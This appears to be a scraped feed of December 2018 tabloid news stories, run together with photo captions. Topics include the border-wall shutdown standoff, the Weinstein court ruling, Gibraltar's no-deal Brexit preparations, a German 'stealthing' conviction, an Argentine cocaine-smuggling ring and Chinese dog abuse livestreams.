Representatives. Conservatives in the lower chamber were urging Trump not to back down, however, from his request for funds for the border wall. House Freedom Caucus founder Jim Jordan said that this could be Trump's last chance to fulfill his most memorable campaign promise. 'Pelosi's going to be speaker,' he said on Fox News of the January takeover of Congress by Democrats. 'It's never going to happen.' The conservative group's head, Rep. Mark Meadows, who Trump recently turned down to be his chief of staff, said the group believes the president is getting 'bad advice' on how to play the spending fight. 'They know that he's promised not once, not twice but three different times that he would get border wall funding, and here we are about to punt,' Meadows told reporters on Capitol Hill, suggesting that Trump had been played by GOP leaders like Ryan. Ryan told members of his caucus at a closed-door meeting on Thursday morning that he expects the spending bill to pass, CNN reported. New York Republican Chris Collins told reporters outside the meeting that Ryan also committed Trump to signing the legislation. Trump apparently called Ryan minutes later and told him the agreement was off. It remained unclear at 1600 Pennsylvania Avenue on Thursday afternoon what the president would do as he brought Ryan and other Republican leaders to the White House to hash the issue out. Republican Sen. Lindsey Graham, who has been hammering Trump on foreign policy moves this week, said on Fox News that the president should refuse to sign a bill that doesn't include funding for his border wall. 'If I were him I'd stand firm,' he said. 'That's a fight worth having.' Senate Majority Leader Mitch McConnell (seen on Capitol Hill Wednesday) said the measure will fund normal government operations at current levels through February 8 - bringing Washington a step closer to avoiding a potentially crippling closure of some federal offices over Christmas Trump said the new trade deal means Mexico will pay for his wall Earlier in the week, the White House denied that Trump was mulling a short-term spending bill that doesn't fund his wall, but as a shutdown loomed the president's spokeswoman indicated that Trump would sign whatever the Senate sends him. Sanders said Tuesday that Trump has also tasked every Cabinet secretary to look through agency funds to see what if anything they can redirect to the border wall. 'We are looking to those individuals to find out those specific pots of money that can be used for that,' she said at a briefing on Tuesday. Trump has claimed he could tap the military or use money that's reaped from his new trade accord. 'Mexico is paying (indirectly) for the Wall through the new USMCA, the replacement for NAFTA! Far more money coming to the U.S. Because of the tremendous dangers at the Border, including large scale criminal and drug inflow, the United States Military will build the Wall!' he tweeted. There is nothing in the trade agreement that requires Mexico to pay for the wall. The administration is making a more nuanced argument that taxpayers and businesses will be saving money on goods and services that they will inject back into the U.S. economy. 'The President has been clear that the USMCA deal would provide additional revenue through that deal that would show that Mexico was paying for the wall,' Sanders said. Rep. Mark Meadows, head of the House Freedom Caucus, says the president is getting 'bad advice' on how to play the spending fight She added: 'He's saying that the revenue provided and the money that would be saved through the USMCA deal, we could pay for the wall four times over. And by doing that new trade deal, we have the opportunity to pay for the wall.' There's no direct line of revenue from the agreement to the U.S. Treasury. Tax revenue generated by the trade provisions would not come from Mexico but from U.S. taxpayers and corporations. Trump previously has threatened to use the military if Democrats wouldn't fully fund his border wall. As commander-in-chief he can issue orders to the troops. But Congressional Democrats have warned that the Pentagon does not have the power to redirect funding from other projects. The U.S. Constitution requires Congressional approval before money can be allocated and spent. Trump vowed on Wednesday he 'will win on the wall' after the White House signaled it was ditching its demand for $5 billion in funding for his signature issue. 'One way or the other, we will win on the Wall!,' Trump tweeted on Wednesday morning as the clock ticked toward Friday's partial government shutdown. Trump's tweet didn't offer any specifics on what he was looking for in a win and whether he'd want the money appropriated in any stop-gap measure or would be willing to wait and take up the fight again in the new year. An earlier tweeted suggested he had more thoughts to come with he wrote: 'In our Country, so much money has been poured down the drain, for so many years, but the Democrats fight us like cats and dogs when it comes to spending on Boarder Security (including a Wall) and the Military. We won on the Military, it is being completely rebuilt. We will win...' White House Press Secretary Sarah Sanders said the administration's legal team was looking into whether the White House could redirect funds to build the border wall Trump is vowing to fight for his wall - but no one knows whether he will use a must-pass spending bill to throw down the guantlet It's estimated it would cost $5 billion to build the president's border wall He deleted that tweet and, six minutes later, offered a more succinct tweet: 'In our Country, so much money has been poured down the drain, for so many years, but when it comes to Border Security and the Military, the Democrats fight to the death. We won on the Military, which is being completely rebuilt. One way or the other, we will win on the Wall!' Lawmakers are scheduled to leave town on Friday and Trump is looking to go Mar-a-Lago for the holidays. The White House signaled it would be willing to accept less than $5 billion that Trump has been demanding for his wall on Tuesday, amid panic over another ill-timed shutdown. 'We will work with Congress if they will make sure we get a bill passed that provides not just the funding for the wall, but there's a piece of legislation that's been pushed around that Democrats actually voted 26-5 out of committee that provides roughly $26 billion for border security including $1.6 billion for the wall,' Sanders told Fox News. 'That's something that we would be able to support as long as we can couple that with other funding resources.' The president on Tuesday sidestepped a question on whether he was still willing to shut down the government unless Congress give him the $5 billion. 'We'll see what happens. It's too early to say,' he stated. 'We need border security.' The White House kicked the can down Pennsylvania Avenue to Congress on Tuesday. 'You know, at this point, the Senate has thrown out a lot of ideas. We're disappointed in the fact that they've yet to actually vote on something and pass something,' Sanders said at the White House press briefing. 'So when they do that, we'll make a determination on whether or not we're going to sign that.' Most areas of the federal government have already been funded through other appropriations bills. Roughly 25 percent of agencies are operating off of a Continuing Resolution that will technically expire early Saturday morning. Some 420,000 federal workers, including most law enforcement, would be deemed essential in the course of a shutdown and required to remain on the job. They would receive back pay in the event of a partial government closure, CNN reports. All other workers would be considered non-essential and sent home on an unpaid leave of absence. They number about 380,000. Congress typically gives them back pay for days missed, costing the government time and money for work that wasn't actually done. It can take weeks for the money to arrive, especially if the shutdown lasts until Democrats take control of the House the first few days in January, putting a financial squeeze on families over the Christmas holiday. The Departments of Homeland Security, Transportation, Housing and Urban Development, State, Interior, Agriculture, Treasury, Commerce and Justice would be affected. Animal rights activists have voiced their concerns about the damage fireworks can do to wildlife ahead of New Year's Eve. People for the Ethical Treatment of Animals (PETA) have written to the Rottnest Island Authority, in Western Australia, asking to use 'silent' fireworks as to not disturb the quokka population, according to Yahoo News. The activist group's spokesperson Emily Rice told the publication: 'Wildlife tend to be terrified by noises like that because they just don't have an understanding of it being for fun like we do. Scroll down for video People for the Ethical Treatment of Animals (PETA) have written to the Rottnest Island Authority asking to use 'silent' fireworks as to not disturb the quokka population 'We find that the noise is a really big issue for making animals flee, or making animals panic.' A quokka is part of the Setonix, with the appearance similar to a wallaby and is the size of a cat. The 'silent' fireworks, although not entirely free from noise, use less explosives and don't make as large a bang noise. The activist group described the fireworks as 'richer in colour effects and visual choreography than conventional displays' in their letter. Ms Rice's letter read: 'They're also more animal-friendly. Animal-rescue centres (often maintained by the council itself) see an increase in the number of lost dogs following conventional fireworks displays. The Rottnest Island authority told Yahoo that the animal's feeding and other habits have not changed during that time 'Often, they go missing after they panic and jump over fences or break loose from leashes or tethers, and some even jump through glass windows in order to get away from the terrifying sounds.' She also said that wild animals can run out onto the roads, causing accidents. However the island's authority said there is no need to change the way they create the display. The 'silent' fireworks, although not entirely free from noise, use less explosives and don't make as large a bang noise (stock) They argue that since the fireworks began in 2015 they have monitored the quokka behaviour. The authority told Yahoo that the animal's feeding and other habits have not changed during that time. The man behind the display this year, Rob Cardile, said that the fireworks will take off from barges 600 metres away from the island. PETA also wrote letters to Townsville, Newcastle and Fraser Coast councils to ask them to do the same. Harvey Weinstein will stand trial for rape after a judge refused to dismiss five charges against him on Thursday. The mogul's short Manhattan Criminal Court appearance turned into a face-off on Thursday with a number of actresses waiting to stare down the disgraced executive in the courtroom. Oscar-winner Marisa Tomei, Amber Tamblyn, Michelle Hurd, Jennifer Esposito and Kathy Najimy were just a few of the Hollywood stars sitting in the gallery ahead of the court proceedings. The women were all wearing Time's Up shirts. 'The court finds that there is no basis for the defendant's claim of prosecutorial or law enforcement misconduct in the proceedings, or pervasive falsity in and around the Grand Jury presentation,' read the judge's ruling. 'Moreover there is no basis in law that the conduct of law enforcement must be imputed to the prosecutor. ' Weinstein had argued that the Grand Jury was not presented evidence that would have established the nature of the relationship between himself and his accusers. These included emails he sent with one victim and texts from another thanking him for his help in securing a job. One of the women was also advised to delete text messages by a member of law enforcement. Sister act: Weinstein was met with a gallery filled with actresses after arriving in court on Thursday (l to r: Jennifer Esposito, Marissa Tomei, Amber Tamblyn and Michelle Hurd) Suspended: Weinstein could not keep his suspenders on as he made his way through the metal detectors at the courthouse (above) Unity: Tomei and the other women were all wearing Time's Up shirts as they headed into the courthouse The women chose not to speak ahead of the hearing, but Najimy did state: 'Im here to hear the proceeding and support survivors.' The judge ultimately ruled that Weinstein would face rape charges, saying that the indictment would not be dismissed in the case. The pre-trial hearing was set for March 7. The actresses who appeared in court all did so in support of the victims and Time's Up movement. Weinstein meanwhile was seen limping in and out of the courtroom, and his suspenders had come undone at one point causing his gut to hang over his pants. There had been a report that Oscar winner Jennifer Lawrence would be appearing to stare down Weinstein, but that proved to be false. The disgraced mogul was looking to have the five remaining charges that have been filed against him dismissed, and in a letter earlier this month his lawyer lashed out at a comment made by prosecutors. 'The defendant has a misguided and antiquated view of how a rape victim should react after having been assaulted,' wrote prosecutor Kevin Wilson in response to a letter submitted to the court last week. In the letter, Weinstein's lawyer wrote: 'What is misguided and antiquated is the breathtaking assertion by the prosecution that it was free to present the Grand Jury in this case with a knowingly incomplete, untrue, and distorted picture of the true facts of this case and thereby suppress from the Grand Jury critical exculpatory evidence which went directly to Mr. Weinstein's factual innocence of any criminal wrongdoing.' The attack did not stop there, going on to accuse witnesses of being untruthful. 'Contrary to what Mr. Wilson would have us believe, the issue before this Court is one of law and not political correctness,' read the letter. 'At the time they made their presentment to the Grand Jury in this case, the prosecution (1) failed to present witness statements which revealed material untruths told by the complaining witnesses and (2) willfully chose not to present documentary evidence which reflected immediate and then continuing contact with the alleged rapist-beginning just hours after the alleged rape and continuing on for several years thereafter.' Weinstein's attorney previously filed a letter with the judge seeking to dismiss three of the charges that he was indicted on over the summer. Ben Brafman, Weinstein's attorney in the case, claimed in his letter to Judge James M Burke that the Manhattan District Attorney's office withheld evidence from the grand jury who indicted his client and provides four emails that show Weinstein and his accuser spent time together after her alleged assault. He also claimed that the accuser told a friend that her relationship with Weinstein was consensual. Weinstein's squad: The disgraced mogul with lawyer Ben Brafman (left) and private investigator Herman Weisberg (right) Eyes ahead: Weinstein confers with his lawyer at the hearing on Thursday in criminal court Standing strong: Michelle Hurd and Kathy Najimy (above) leave court on Thursday Weinstein had previously filed a motion to dismiss the criminal charges against him in August that contained a number of emails sent by the same accuser between 2013 and 2017. That woman, whose allegations against Weinstein resulted in charges of rape in the first degree, rape in the third degree and predatory sexual assault, wrote in the emails that Weinstein 'is the bar' for the movie industry and comments on his 'smile and beautiful eyes. In one of the emails submitted by Brafman, she also agreed to attend a screening hosted by Weinstein, just hours after she was allegedly raped by the mogul. Documents show Weinstein's office sent the woman an invitation to a movie screening the evening of March 18, 2013 - the day of the alleged assault. The accuser replied, 'I'm just going with [redacted]. Thank you [redacted].' The letter stated that defense lawyers interviewed the friend who confirmed that she had gone to the event with the accuser and the two met Weinstein there that night. During that interview, the friend allegedly confirmed that Weinstein and the accuser were in a 'consensual, sexual relationship' at the time and claimed the accuser tried to enlist her help in going after Weinstein, according Brafman. Supporting the cause: Tamblyn (above) speaks outside the courtroom on Thursday Sisterhood: Kathy Najimy (above) outside the courtroom on Thursday Law and order: Hurd (above), who accused Bill Cosby of attempting to sexually assault her on the set of The Cosby Show, was pictured outside court Brafman argued that the emails, as well as the previous ones he submitted along with an earlier motion, should have been seen by members of the grand jury. 'Had the Grand Jury been aware that [accuser] continued her friendship with Mr Weinstein hours after the alleged rape (not just in the months and years after, as evidenced by her emails), there is little chance that her narrative would have been accepted by the Grand Jury,' Brafman states. 'This new email evidence makes [the accuser's] attempt even more egregious because, as it turns out, the witness was with [the accuser] hours after the alleged rape, yet [the accuser] did not say anything about being raped; instead, she chose to spend the evening with her friend and her alleged rapist!' Brafman also contends that the accuser must have talked about Weinstein in 'glowing terms' after an email from New Year's Day 2014 revealed the friend had thanked the producer for 'the things you did for [accuser] in 2013 and for the things you did for me as well.' Those things included Oscar party invitations, dinners, premieres, and auditions, according to documents. An earlier email from October 2013 also shows the same friend telling Weinstein that the accuser 'adores' him. More than a year after the alleged rape, the accuser herself had an email exchange with Weinstein organizing dinner plans. On July 9, 2014, Weinstein emailed the woman asking: 'Are you around on Friday evening? I'm going to be in [redacted].' The accuser replied: 'There is no one else I would enjoy catching up with that understands me quite like you.' 'I know I will be hungry, what is your timing? Do you have time for dinner?' In a response to the December 7 filing, New York Assistant District Attorney Kevin Wilson said Brafman's letter only repeats previous arguments made in earlier submissions - which have been contested. He argued the findings did not constitute as exculpatory information and claimed the lawyer was using 'one-sided, incomplete, and mischaracterized information.' 'That the defendant has a misguided and antiquated view of how a rape victim should react after having been assaulted does not change this reality,' Wilson wrote in a letter on Friday. In August, Brafman asked for the charge of Criminal Sex Act to be tossed because of inconsistencies. 'Mr. Weinstein was indicted for an alleged act of forcible oral sex by someone who claims she does not remember when it occurred and asserts only that it was purportedly sometime during a three-month period in 2004, nearly fourteen years ago,' read the August motion. 'He was also indicted for the rape of [email accuser], whose extensive communications and contact immediately following the now claimed forcible rape instead reflect a consensual, intimate relationship with Mr. Weinstein in an exchange of more than 400 warm, complimentary and solicitous emails with an alleged rapist for more than four years after the alleged rape, never once in those 9 communications claiming to have ever been harmed by Mr. Weinstein.' The final email, from 2017, was less effusive than the others submitted by Weinstein, reading: 'I love you, always do. But hate feeling like a booty call.' That came in response to an email from Weisntein in which he tried to schedule a meeting with the woman before heading off to a redacted city. He wrote that he could meet in the afternoon, and when the woman responded to ask the address Weinstein replied with the name of a hotel, even though he was in New York at the time. The August filing stated that it was one year after that email, in February 2018 when, 'upon information and belief, [Weinstein's accuser] for the first time ever made any claim of an alleged rape to any law enforcement authority.' Weinstein was married to his now estranged wife Georgina Chapman during the time that all 40 emails were sent. One month after she was allegedly raped by Weinstein in a midtown hotel, the woman closed out a brief message by writing: 'Thanks, and I hope to see you sooner thank [sic] later ...' The next day she said: 'I appreciate all you do for me, it shows.' Three days after that she expressed a desire to see Weinstein and 'catch up,' a desire she again reiterated a few days later in an emails submitted as evidence in the motion. Another email in which the woman is incredibly complimentary to Weinstein read: 'You have mastered storytelling and continually Are outdoing yourself and the competition. You are the bar.' She then signed off with: 'Miss you big guy.' One month prior she had requested a private audience with Weinstein, saying: 'I was hoping for some time privately with you to share the direction I am going in life and catch up because its been awhile.' The woman also gave Weinstein her contact information after changing her phone number. A former South Carolina corrections officer who was accused of having sex with a male inmate 15 years ago has been charged with sex crimes related to the allegations. Rebecca Carol Adams, 41, was charged with first degree sexual misconduct with an inmate for the alleged relationship that took place at the Newberry County detention center. A probable cause affidavit obtained by FITS News added that Adams 'willfully and unlawfully engaged in sexual intercourse (oral and vaginal)' with inmate Raymond Carwise from March 24 to July 15, 2003. Rebecca Carol Adams, 41, was charged with first degree sexual misconduct with an inmate for the alleged relationship that took place at the Newberry County detention center Carwise had been assigned to the detention center as an 'inmate trustee,' according to the affidavit. An investigation into the allegations was requested by the Newsberry County sheriff's office led to the eventual arrest of Adams by the S.C. State Law Enforcement Division (SLED). The investigation was first launched on August 2, 2018, according to WACH. Carwise had filed a report with the sheriff's office, claiming that Adams 'engaged in oral and vaginal sex with him' while she was employed by the sheriff's office. Adams 'willfully and unlawfully engaged in sexual intercourse (oral and vaginal)' with inmate Raymond Carwise from March 24 to July 15, 2003 Adams has been booked at the Newberry County Detention Center, where she previously worked. She faces up to 10 years in prison The former inmate's accusation was confirmed by his cellmate while at the center. It was also found that Adams visited Carwise once he was transferred to the Greenwood County detention center in July 2003. At the time of the affair, Adams was 25 years old. She faces up to 10 years if convicted for the relationship. Adams was booked at the Newberry County Detention Center, where she previously worked. Four watercolours by the late artist and campaigner Sylvia Pankhurst - depicting women working for the nation - have been bought by the Tate. The 1907 paintings, entitled 'rare portraits of working-class women' and from the early 20th century, belonged to the artist's grandchildren. Pankhurst, who died aged 78 in 1960, played a pivotal role in the campaign for women's right to vote. Two of Pankhurst's paintings are pictured here. They are titled In a Glasgow Cotton Mill: Minding a Pair of Fine Frames (left and painted in 1907), and Glasgow Cotton Spinning Mill: Changing the Bobbin (right and painted in 1907). They are two of four watercolours the gallery has purchased, all of which show women carrying out work for the nation Two of the four paintings show workers at cotton mills in Glasgow, where Pankhurst wrote about 'the almost deafening noise of the machinery and the oppressive heat', which was 'so hot and airless that I fainted within an hour'. The others depict the Staffordshire potteries, where women earned a maximum of seven shillings a week while being exposed to hazardous flint dust and fumes and of which Pankhurst said: 'Each was employed by the man she toiled for - the slave of a slave, I thought!' One of Emmeline Pankhurst's three daughters, Sylvia (pictured) worked full time for the the Women's Social and Political Union, which was founded by her sister Christabel and her mother The paintings, which Pankhurst hoped would help improve pay and conditions for women, are the first by the artist to enter Tate's collection. They have remained in the artist's family since they were painted 111 years ago. Pankhurst also designed badges, banners and flyers for the Women's Social And Political Union, the group which her mother Emmeline Pankhurst helped to launch. She later gave up art to dedicate herself to the suffrage campaign and ensure the representation of working-class women in the movement. The paintings are being bought with funds provided by the Denise Coates Foundation, from the artist's grandchildren, Helen Pankhurst and Alula Pankhurst. Helen Pankhurst said: 'The family are delighted that some of Sylvia's paintings are being acquired by Tate. 'Sylvia was an artist as well as a champion of working women's rights, her first passion not as well known as her second. 'In these beautiful pieces these interests are powerfully combined.' Another two of Pankhurst's paintings are pictured here. They are titled On a Pot Bank: Finishing Off the Edges of the Unbaked Plates on a Whirler (left and pained in 1907), and An Old-fashioned Pottery Turning Jasper-ware (right and painted in 1907) Tate's director of collection (British Art) Ann Gallagher said the acquisition was timely and allowed Tate to 'expand the way we represent working women as subjects in art history'. 'At a time when gender pay gaps and women's rights at work remain urgent topical issues, these images remind us of the role art can play in inspiring social change,' she said. This year marked the centenary of the Representation Of The People Act, which gave some women voting rights. The four paintings will go on display at Tate Britain in 2020. Chocolate lovers are up in arms over Hershey's Kisses missing their iconic tips. People across the US were quick to express their outrage to Hershey's this week when they unwrapped their teardrop-shaped treats to find the tops have been flattened or completely cut off. The majority of complaints have come from bakers, who posted photos online of the misshapen Kisses that they say are ruining the look of their festive Christmas cookies. 'The excitement of seeing that little curl on the top and when we open it up, it's actually not there,' baker Cathy Previtali-Matush said. Hershey's Kisses are missing their iconic tips this holiday season and a group of bakers brought issue to Hershey's attention A man from West Virginia tweeted a photo of his Kiss with a flattened top The fury began when bakers from The Wedding Cookie Table Community Facebook group collectively noticed the mishaps in packages of their beloved Hershey's Kisses. 'It was like a symphony that went up across the country. They all noticed everywhere,' Laura Magone, the Wedding Cookie Table Community administrator, told KDKA. 'The cookie bakers got a little bit testy over this issue and it's a shock,' she added. 'They care so much about the look of their cookie. The presentation is everything, so to take the time to make a homemade cookie and then have a broken something sitting on it, it's very offensive to them.' The outrage then spilled over to Twitter, with Kiss consumers tweeting to Hershey's directly to look for answers. '@Hersheys wtf is up with your kisses being broken on the tips,' one Twitter user from Pennsylvania wrote along with a photo. 'I'm trying to making (sic) Christmas cookies with my mom and these look terrible. Every single on is like this.' '@Hersheys my Hershey's kisses for my peanut butter blossoms all look like their tips were cut off,' a Utah woman said on Twitter. 'I went through 4 bags. They are all not acceptable to use on my cookies.' One woman from Pittsburgh seemed very distressed over the missing tips, tweeting: '@Herrhseys WHY ARE THERE NO TIPS ON HERSHEY KISSES!?!? WHAT IS HAPPENING?!?!' Bakers are outraged claiming the misshapen treats ruin the look of their Christmas cookies, as one baker from Pennsylvania tweeted A baker from New York said she will not be passing out Christmas cookies because 'they look so sad' Another woman said this week that each Kiss she opened had a missing tip One woman from Pittsburgh, Pennsylvania appeared very distressed over the missing tips One woman in the The Wedding Cookie Table Community Facebook group was optimistic about kisses and turned them into Christmas trees One woman in the The Wedding Cookie Table Community Facebook group was optimistic about the defective kisses, turning them into decorated Christmas trees. 'When your kisses have no tops, make them into Christmas trees,' she wrote along with photos of her cookies with the Kisses decorated as tress. It's not clear why exactly the Kisses have lost their popular shape. At first, a customer service representative told consumers it was a deliberate change so the piece wouldn't fall off after production, but now the company is changing its tune. Jeff Beckman, director of corporate communications for The Hershey Company, told Business Insider the company is looking into the issue. 'We understand that bakers' expectations are high for an iconic brand that is more than 100 years old because they are proud of their desserts,' he said. The Wedding Cookie Table Community Facebook group brought this to our attention,' Beckman added. 'We appreciate their love of the brand and taking the time to bring the appearance of our iconic Hershey's Kisses to our attention. Gibraltar Prepares for No Deal Brexit Today marks 100 days before the United Kingdom and Gibraltar leave the European Union on 29 March 2019 and the Government of Gibraltar is stepping-up its preparations for a no deal Brexit. This follows the recent announcement that the United Kingdom, and indeed the European Union institutions, are also doing the same. The Chief Minister Fabian Picardo and the Deputy Chief Minister Dr Joseph Garcia returned from London today, where they attended a lengthy meeting together with the Attorney General Michael Llamas. The no deal preparations were high on the agenda in those discussions with senior officials at the Foreign and Commonwealth Office and the Department for Exiting the European Union. The Chief Minister has designated the Deputy Chief Minister to deal with the logistical aspects of no deal planning and the Attorney General to coordinate the intensive legislative programme which will arise in such circumstances. It will be recalled that the United Kingdom and the European Union concluded a Withdrawal Agreement in November. Gibraltar is a part of that Agreement and is also included in its transitional provisions. However, the Agreement requires the approval of the United Kingdom Parliament and of the European Parliament. In the event that the UK Parliament does not approve the Withdrawal Agreement, then the United Kingdom and Gibraltar would leave the EU without a deal. The increased preparations are to implement plans to cover this eventuality. The Deputy Chief Minister chaired a meeting last week with different Heads of Department and related agencies in order to set out the policy priorities of the Government. The meeting included the Chief Secretary, who leads a working group of officials, and Attorney General Michael Llamas. The Civil Service and Public Sector as a whole will play an important part of plans for a no deal exit. The Government prepared an impact study on the consequences of different types of Brexit as early as 2016, within weeks of the referendum decision. This involved consultation across the public and private sectors and led to feedback from different entities. In the autumn of 2017 there was another round of consultation on more specific proposals with a number of public and private sector bodies. The Chamber of Commerce was given a confidential briefing at their request. There have, in addition, been discussions with the Ministry of Defence and The Convent. The Cabinet was briefed on Monday on the main areas where a no deal Brexit would be expected to have an impact. The Brexit Select Committee of the Gibraltar Parliament was itself briefed after the summer. The Government has continued with the publication of Technical Notices in preparation for a no deal Brexit. The first set of guidelines on passports, the second on pet passports and the third on driving licences and motor insurance have already been issued. More will follow. Commenting on the preparations, the Deputy Chief Minister, who is responsible for work relating to our EU exit, said: The preparations for a no deal Brexit does not mean that this is going to happen. It means that we need to plan for it in case it does. There is no need to panic. However, citizens and businesses need to be aware of the implications of leaving the EU without a deal, in order to mitigate the effects of this. The Government will itself take the lead in many areas. Gibraltar voted to remain in the European Union. Our best deal would be the withdrawal of the Article 50 letter and staying in the EU with the UK. However, the UK is leaving and if they go, we must go as well. Our historical, cultural, political, social and economic ties are with the United Kingdom and Brexit will not alter that. The Chief Minister, Fabian Picardo, said: As I told the Lords EU Select Committee, we are now going to step up our implementation programme for a no deal eventuality. In doing so, we will rely on great measure also on the work of our excellent Public Servants, in the Civil Service, the GDC and the wider Public Sector. We will be applying the same principles in our planning as have been applied in Operation Yellowhammer in the United Kingdom. We will also be working more closely now with the Private Sector and Unions to coordinate our positions across the community so that our National Readiness Action Plan is ready to kick in by the time a no deal might become an unfortunate reality which we will continue to work to avoid. A German policeman who removed a condom during sex with his girlfriend without her knowing has been found guilty of sexual assault. The couple were having sex in November last year when he secretly took off the condom despite her 'explicitly requesting' him to wear one, an act known as 'stealthing'. The woman only realised he had taken it off when he ejaculated inside her. She left his flat and rang the police, fearing she may have been given an STI. A German policeman who removed a condom during sex with his girlfriend without her knowing has been found guilty of sexual assault (stock image) The man, 36, was tried in Berlin for rape. He claimed he took the condom off because it had ripped and that he had ejaculated outside his girlfriend's body. He was not found guilty of rape because the sex was consensual but was found guilty of sexual assault for removing the condom without consent. The man was given an eight-month suspended jail sentence, fined 3,000 euros (2,712) and told to pay 96 euros (87) for the woman's STI test, reported CNN. The case is believed to be the first of its kind in Germany. Two similar cases in Switzerland and Canada both ended in convictions, one for rape and one for sex assault. Ms Wright advised victims to keep condoms from the encounter and report the incident to police as soon as possible Legal expert Pauline Wright explained why stealthing constitutes sexual assault. She said consent is defined as voluntarily agreeing to sexual intercourse, which would be breached by secretly removing a condom. 'If that agreement is, "Yes, I will have sex with you provided you have a condom on", then it is removed during sex without knowledge or consent, it undoes the agreement and undoes the consent.' Ms Wright advised victims to keep condoms from the encounter and report the incident to police as soon as possible. 'If there was a condom available and if it is there, keep it. Put it in a plastic bag and take it to the police station.' Stealthing often goes undetected until victims contract an STI or fall pregnant. A drug distribution network led by a 60-year-old grandmother that smuggled cocaine hidden inside sneakers has been dismantled following an 18-month investigation by law enforcement authorities in Argentina. Dubbed operation 'White Shoes', agents brought down a ring that depended on poor females as drug mules who were hired to move the white powdery substance stuffed into the soles. Argentine officials confiscated 30 kilos of cocaine during a raid on Wednesday. Overall, 54 kilos of coke and a cache of weapons were seized during the course of 14 raids that netted the arrest of 12 individuals, including ring leader known as 'La Donita' [The Lady], according to Argentine news outlet La Voz. The street value of the drugs seized was worth as much as $5.4million. Officials have not released La Donita's name. A woman who was working as a drug mule in Argentina is read her rights after authorities arrested her for transporting cocaine hidden inside sneakers An Argentine police official discovered three pairs of sneakers that were filled with cocaine concealed in the soles of the sneakers An 18-month investigation led to the arrest of a 60-year-old grandmother known as 'La Donita' Police officers are still looking to arrest Jacqueline Sabrina Jara, one of 'La Donita's' three daughters who were involved in the family-run drug ring Judicial and police sources told La Voz that the cocaine was either brought in from Peru or Bolivia. Drug runners traveled with minors, usually their children, on buses that departed from the northwestern city of Salta to Buenos Aires. A judicial source confirmed to La Nacion that investigators caught a break in the case when they were able to obtain the phone numbers of some of the individuals in the drug gang. 'The telephone lines were intervened and in a communication it was detected that a mule was about to arrive from Salta,' the source said. During one sting, a woman carrying an infant was busted with 18 pairs of sneakers with cocaine planted inside the soles. Law enforcement agents discovered 18 pairs of sneakers after they were tipped off by a phone call The Buenos Aires police confiscated 54 kilos of cocaine as part of an 18-month operation dubbed 'White Shoes' Agents barged into a home in Argentina and arrested two individuals (pictured) that formed part of a family-run drug ring The mother depended on her three daughters to coordinate logistical points to bring in the kilos of cocaine from Bolivia. 'La Donita's' daughters were tasked with distributing the drug near a supermarket in the Buenos Aires southern town of Almirante Brown, where the family also owned four homes. 'La Donita' kept her cocaine distribution ring within the family, sources told La Voz. Police show of evidence containing backpacks and bags used to carry multiple pairs of sneakers that were filled with cocaine A drug mule in Argentina oversees a police agent's inspection after she was busted carrying 18 pairs of sneakers with concealed cocaine Her son-in-laws, including a Paraguayan national, ran surveillance systems from their residences. Investigators discovered a complex security system which had cameras mounted to the exterior walls of the homes, keeping a close eye on the area. The granny even introduced her grandchildren to the illicit lucrative business and employed them as delivery boys. A man in east China who had been earning money through posting videos of dog abuse online has been publicly named and shamed. The man, identified as 30-year-old Qiu Hengqing, had been setting up live-streams of the outrageous acts including tasering the dogs, chucking them in a freezer and force-feeding them wasabi and alcohol, according to Chinese reports. Animal rights activists in Qingzhou city, Shandong province formed a volunteer group and successfully rescued the three toy poodles after tracking down the man. The 30-year-old man, identified as Qiu Hengqing, had been setting up live-streams of the outrageous acts including tasering the dogs and putting them in a freezer Animal rights activists in Qingzhou city, Shandong province formed a volunteer group and successfully rescued the three toy poodles after tracking down Qiu (left) The disturbing clips were posted to the man's social media accounts on Tecent's social media platform Qzone and search engine giant Baidu's forum, Baidu Tieba. Subscribers each pay between 80 yuan (9) and 120 yuan (14) to gain access to his closed group, where he would post the videos regularly. During the live-streams, Qiu would also earn 'tips' from his followers and members, according to The Paper. One of the videos shows a toy poodle struggling and whimpering loudly as Qiu films himself squeezing its neck. Another pooch was seen being tasered by Qiu before scampering away. He was also seen tying the pooches up and shoving a paste - believed to be wasabi - into one of the dogs' mouth. Subscribers each pay between 80 yuan (9) and 120 yuan (14) to gain access to Qiu's closed group on two Chinese social media platforms, where he would post the videos regularly The toy poodles struggling and whimpering loudly as Qiu films himself squeezing their necks At least 10 local animal rights activists stormed the man's home on Monday after tracking him down, according to the report. A clip shows them draping bright red banners with the words 'Dog-abusing devil Qiu Hengqing, blood for blood' over his residence before rescuing the three caged dogs. It is believed that the rescued dogs will be given new homes. One of the activists told reporters that the man had been bitten by his pet toy poodle before and had wanted to exact revenge. Qiu admitted his wrongdoings and apologised for his behaviour. He also vowed to cut off his hand if he was ever caught abusing dogs again, the report added. 'We hope the man would keep his promise and never abuse dogs or any other animals again,' Keith Guo, PETA Asia's media officer for China, told MailOnline. Qiu was also seen tying the pooches up and shoving a paste - believed to be wasabi - into one of the dogs' mouth (left). The man has since vowed to never hurt a dog again At least 10 local animal rights activists stormed the man's home on Monday after tracking him down. This photos shows them draping bright red banners with the words 'Dog-abusing devil Qiu Hengqing, blood for blood' over his residence before rescuing the three caged dogs 'People who abuse animals for profit, revenge or for fun must be stopped. At the same time, we hope that companies behind social media platforms could be more diligent in uncovering and deleting similar accounts,' he said. 'Experts have identified cruelty to animals as a sign of psychopathy and a red flag indicating future escalating violence,' Guo said, adding this is also why China urgently needs an animal protection law. While China has legislation safeguarding land-based and aquatic wildlife, it currently lacks legislation protecting animal welfare or preventing cruelty to animals. At least 10 animal rights activists barged into Qiu's home and rescued the three caged dogs In September 2009, animal rights activists and legal experts began circulating a draft Law on the Protection of Animals and in 2010, a draft Law on the Prevention of Cruelty to Animals for the State Council's consideration, according to Human Rights in China, a Chinese non-governmental organisation based in New York. The draft proposes a fine of up to 6,000 yuan (696) and two weeks' detention for those found guilty of animal cruelty, according to China Daily. However till this day, no progress has been made. While the country's first ever legislation protecting animal welfare has yet to be adopted, the increasing cases of animal abandonment and serious cruelty towards animals such as killing of dogs and burning of cats have led to serious resentment within society. It's been almost two weeks since a young man was murdered in Colombia, and his family has refused to bury him. The Venezuelan parents are holding their ground, claiming they received a divine message from God that their son will resuscitate. Cesar Alexis Blanco, 20, died from three gun shot wounds on December 10 in the Cali neighborhood of Puertas del Sol. Cesar Alexis Blanco was murdered December 10 and has not been buried by his parents yet The 20-year-old moved with his parents from Venezuela and settled in Cali, Colombia two years ago Julio Blanco (pictured) has refused to bury his son because he says the family received a divine message from God that Cesar Alexis will come back to life Blanco, one of a million migrants that have fled Venezuela due to his homeland's oppressive socio-economical conditions, spent the last two years with his family living in Colombia. He was enjoying 